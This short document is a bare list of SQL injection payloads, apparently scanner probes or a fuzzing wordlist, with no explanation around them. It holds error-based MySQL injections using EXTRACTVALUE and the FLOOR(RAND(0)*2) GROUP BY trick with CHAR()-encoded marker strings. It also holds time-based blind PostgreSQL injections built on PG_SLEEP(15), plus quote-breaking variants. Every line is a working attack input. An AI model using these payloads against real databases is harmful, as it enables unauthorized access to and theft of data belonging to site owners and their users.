"+EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(114),CHAR(122),CHAR(117),CHAR(97),CHAR(117),CHAR(103),CHAR(101)))+"
(select CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(114),CHAR(122),CHAR(117),CHAR(97),CHAR(117),CHAR(103),CHAR(101))
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(114),CHAR(122),CHAR(117),CHAR(97),CHAR(117),CHAR(103),CHAR(101),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(114),CHAR(122),CHAR(117),CHAR(97),CHAR(117),CHAR(103),CHAR(101)))
555-1)) OR 860=(SELECT 860 FROM PG_SLEEP(15))--
555-1) OR 579=(SELECT 579 FROM PG_SLEEP(15))--
555-1 OR 138=(SELECT 138 FROM PG_SLEEP(15))--
"+(select CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(111),CHAR(116),CHAR(115),CHAR(122),CHAR(109),CHAR(101),CHAR(110))+"